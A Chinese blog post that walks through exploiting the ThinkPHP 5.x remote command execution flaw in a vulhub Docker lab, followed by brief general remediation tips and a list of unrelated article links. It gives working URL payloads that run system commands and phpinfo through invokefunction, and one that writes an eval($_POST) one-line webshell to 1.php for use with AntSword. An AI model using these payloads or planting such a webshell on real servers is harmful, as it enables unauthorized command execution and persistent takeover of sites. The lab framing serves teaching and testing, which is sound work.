当前位置: 首页 > news >正文

Thinkphp框架漏洞(附修复方法)

      ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式

      ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。TP(2-6)(5-目前使用率较高的)

Thinkphp5x远程命令执行及getshell

漏洞复现

首先我们搭建一个漏洞环境,搭建命令如下

cd vulhub/thinkphp/5-rce
docker-compose up -d #启动环境

进入环境后,我们来到这样一个页面

直接在ip和端口后面拼接一段url如下

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

点击回车后即可看到我们输入的命令(whoami)的执行结果,说明这个页面存在远程命令执行漏洞

然后我们将url中的system替换为phpinfo,whoami替换为-1,则会显示出phpinfo();的执行结果,这说明这个页面也存在远程代码执行漏洞

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

最后,我们尝试获取shell,利用他的远程命令执行漏洞,输出一个一句话木马到1.php文件中,构造url如下,其中$_POST前加反斜杠是因为该网站会对其进行转义,\可以防止被转义

/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST['cmd']); ?>" >> 1.php

运行成功后直接在IP后面加上/1.php访问,成功后用蚁剑连接

修复方法

1.对于用户提交的数据,尤其是命令执行相关的数据,一定要进行严格的验证和过滤。例如,您可以使用正则表达式或预定义的白名单来限制可以接受的命令。

2.部署一个 Web 应用防火墙可以帮助阻止恶意请求到达您的应用程序。WAF 可以检测并阻止潜在的攻击尝试。

3.进行代码审计,查找潜在的安全漏洞。确保遵循最佳实践,例如使用预编译语句防止 SQL 注入,使用 HTTPS 加密通信等。

4.确保您的服务器操作系统和其他相关软件(如 PHP、Apache/Nginx)都是最新版本,并安装了所有必要的安全补丁。

5.启用日志记录以监控异常行为,并定期审查日志文件以查找潜在的攻击迹象。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【QT】鼠标按键事件 - QMouseEvent QKeyEvent
  • 在psotgres中的gist和gin索引介绍
  • RM小陀螺技术经验与思考
  • 无法访问jakarta.servlet.http.HttpServletRequest
  • 基于QT实现的简易WPS(已开源)
  • HCIP笔记4-OSPF(2)
  • solidity 数学和密码学函数
  • HarmonyOS应用开发知识地图
  • 清空QWidget
  • 回归预测|基于雪消融优化极端梯度提升树的数据回归预测Matlab程序SAO-XGBoost多特征输入单输出 含基础模型
  • 常用API(三)
  • 网络编程 开篇
  • Java数据结构 | 二叉树基础及基本操作
  • 【Web开发手礼】探索Web开发的秘密(十四)-Vue2(1)Node.js的安装、Vue入门
  • 面壁的智能开源 MiniCPM-V 2.6 边缘人工智能多模态功能与 GPT-4V 不相上下
  • (三)从jvm层面了解线程的启动和停止
  • [数据结构]链表的实现在PHP中
  • 「前端早读君006」移动开发必备:那些玩转H5的小技巧
  • 77. Combinations
  • Babel配置的不完全指南
  • docker python 配置
  • eclipse(luna)创建web工程
  • Hexo+码云+git快速搭建免费的静态Blog
  • HTTP传输编码增加了传输量,只为解决这一个问题 | 实用 HTTP
  • JS专题之继承
  • k8s如何管理Pod
  • macOS 中 shell 创建文件夹及文件并 VS Code 打开
  • OpenStack安装流程(juno版)- 添加网络服务(neutron)- controller节点
  • Redash本地开发环境搭建
  • springboot_database项目介绍
  • Vim Clutch | 面向脚踏板编程……
  • Yeoman_Bower_Grunt
  • 关于springcloud Gateway中的限流
  • 检测对象或数组
  • 新手搭建网站的主要流程
  • 怎么把视频里的音乐提取出来
  • python最赚钱的4个方向,你最心动的是哪个?
  • 翻译 | The Principles of OOD 面向对象设计原则
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • #APPINVENTOR学习记录
  • #Datawhale AI夏令营第4期#AIGC文生图方向复盘
  • ()、[]、{}、(())、[[]]命令替换
  • (1)svelte 教程:hello world
  • (20050108)又读《平凡的世界》
  • (3)(3.5) 遥测无线电区域条例
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (NO.00004)iOS实现打砖块游戏(九):游戏中小球与反弹棒的碰撞
  • (二) Windows 下 Sublime Text 3 安装离线插件 Anaconda
  • (十八)Flink CEP 详解
  • (十一)手动添加用户和文件的特殊权限
  • (小白学Java)Java简介和基本配置
  • (一)u-boot-nand.bin的下载
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)ORM